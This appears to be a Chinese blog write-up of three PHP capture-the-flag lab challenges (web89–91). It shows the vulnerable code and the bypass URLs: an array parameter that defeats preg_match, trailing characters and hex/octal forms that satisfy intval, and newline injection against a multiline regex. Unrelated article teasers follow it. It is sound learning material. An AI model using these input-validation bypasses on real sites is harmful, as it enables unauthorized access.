news 2026/5/1 4:36:22

PHP特性学习(89-91)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP特性学习(89-91)

过晚提交任务原因及解释

前几天甲流了,请了一段时间巨长的假,现在正在追赶进度

重新准备与环境搭建

准备工具:edge浏览器

环境搭建:本地小皮面板

PHP靶场一

<?php include("flag.php"); highlight_file(__FILE__); if (isset($_GET['num'])) { $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no no no!"); } if (intval($num)) { echo $flag; } }

定义了一个num变量用来传递参数

//因此只需访问这个地址即可取得flag http://localhost/?num[]=a //flag为:flag{You have successfully completed web89!}

PHP靶场二

<?php include("flag.php"); highlight_file(__FILE__); if (isset($_GET['num'])) { $num = $_GET['num']; if ($num === "4476") { die("no no no!"); } if (intval($num, 0) === 4476) { echo $flag; } else { echo intval($num, 0); } }

这个也是必须通过GET方式传入num参数(isset($_GET['num'])

但是num不能与字符串"4476"严格相等===要求值和类型都完全一致,否则执行die)且intval($num, 0)的结果必须严格等于 4476

所以可以绕过严格比较,方法如下:

  1. 数字后接非数字字符:

    http://localhost/?num=4476a http://localhost/?num=4476%20 http://localhost/?num=4476x http://localhost/?num=4476\n //等等
  2. 其他进制表示法(十六,八)

    http://localhost/?num=0x117C http://localhost/?num=010574 //等等

得到flag:flag{You have successfully completed web90!}

PHP靶场三

<?php show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }

代码逻辑

  1. 接收 GET 参数cmd
  2. 第一个正则匹配:preg_match('/^php$/im', $a),匹配成功则进入内部判断,否则输出nonononono
  3. 内部第二个正则匹配:preg_match('/^php$/i', $a),匹配成功输出hacker,否则输出flag

目标如下

需要构造cmd参数,满足:

  • 第一个正则/^php$/im匹配成功(进入内部判断);
  • 第二个正则/^php$/i匹配失败(输出 flag)。

绕过方法

  1. php前加换行符

    http://localhost/?cmd=%0aphp
  2. php后加换行符+任意字符

    http://localhost/?cmd=php%0ab http://localhost/?cmd=php%0ajj http://localhost/?cmd=php%0asuhs //等等
  3. 加多个换行符

    http://localhost/?cmd=php%0a%0a

得到flag:flag{You have successfully completed web91!}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/30 8:14:53

LobeChat能否用于生成产品描述?电商平台文案利器

LobeChat能否用于生成产品描述&#xff1f;电商平台文案利器 在电商运营的日常中&#xff0c;你是否曾为成百上千件商品撰写描述而焦头烂额&#xff1f;一个爆款新品上线&#xff0c;团队却卡在“如何用120个字打动消费者”上迟迟无法推进。人工写得慢、外包成本高、风格还不统…

作者头像 李华
网站建设 2026/4/23 11:49:24

LobeChat能否支持图表生成?数据可视化回答呈现

LobeChat 能否支持图表生成&#xff1f;数据可视化回答的实现路径与实践洞察 在智能对话系统日益渗透企业分析、科研辅助和教育演示的今天&#xff0c;用户早已不满足于“文字复述”式的问答交互。一个真正高效的 AI 助手&#xff0c;不仅要能理解复杂问题&#xff0c;更应具备…

作者头像 李华
网站建设 2026/4/23 17:13:30

题目:字符串逆序

循环#define _CRT_SECURE_NO_WARNINGS #include <stdio.h>int main() {char arr[] "abcdef";//int sz sizeof(arr) / sizeof(arr[0]);int left 0;//int right sz - 2;int right strlen(arr) - 1;while (left<right){char tem arr[left];arr[left] ar…

作者头像 李华
网站建设 2026/4/30 19:33:42

Anything-LLM与LangChain融合构建智能体

Anything-LLM 与 LangChain 融合构建智能体&#xff1a;从个人文档助手到企业级知识协作者 在信息爆炸的时代&#xff0c;我们每天都被淹没在PDF、Word、会议纪要和项目文档中。无论是学生整理论文资料&#xff0c;还是企业维护庞大的制度流程库&#xff0c;一个共通的挑战始终…

作者头像 李华
网站建设 2026/4/26 17:23:06

云盾与WAF:构建企业网络安全的双重防线

云盾与WAF&#xff1a;构建企业网络安全的双重防线在数字化转型加速推进的今天&#xff0c;企业网络安全面临着前所未有的挑战。据Gartner数据显示&#xff0c;2023年全球企业因网络攻击造成的平均损失已达445万美元&#xff0c;其中Web应用攻击占比超过35%。作为防御体系的核心…

作者头像 李华
网站建设 2026/4/26 14:59:34

Seed-Coder-8B-Base 自动生成Ansible Playbook实战

Seed-Coder-8B-Base 自动生成Ansible Playbook实战 在运维自动化这条路上&#xff0c;我们总是在和YAML缩进、模块参数、服务依赖这些细节“搏斗”。明明只想部署一个Nginx&#xff0c;却要翻文档查systemd的写法&#xff1b;想改个配置文件&#xff0c;还得反复测试lineinfile…

作者头像 李华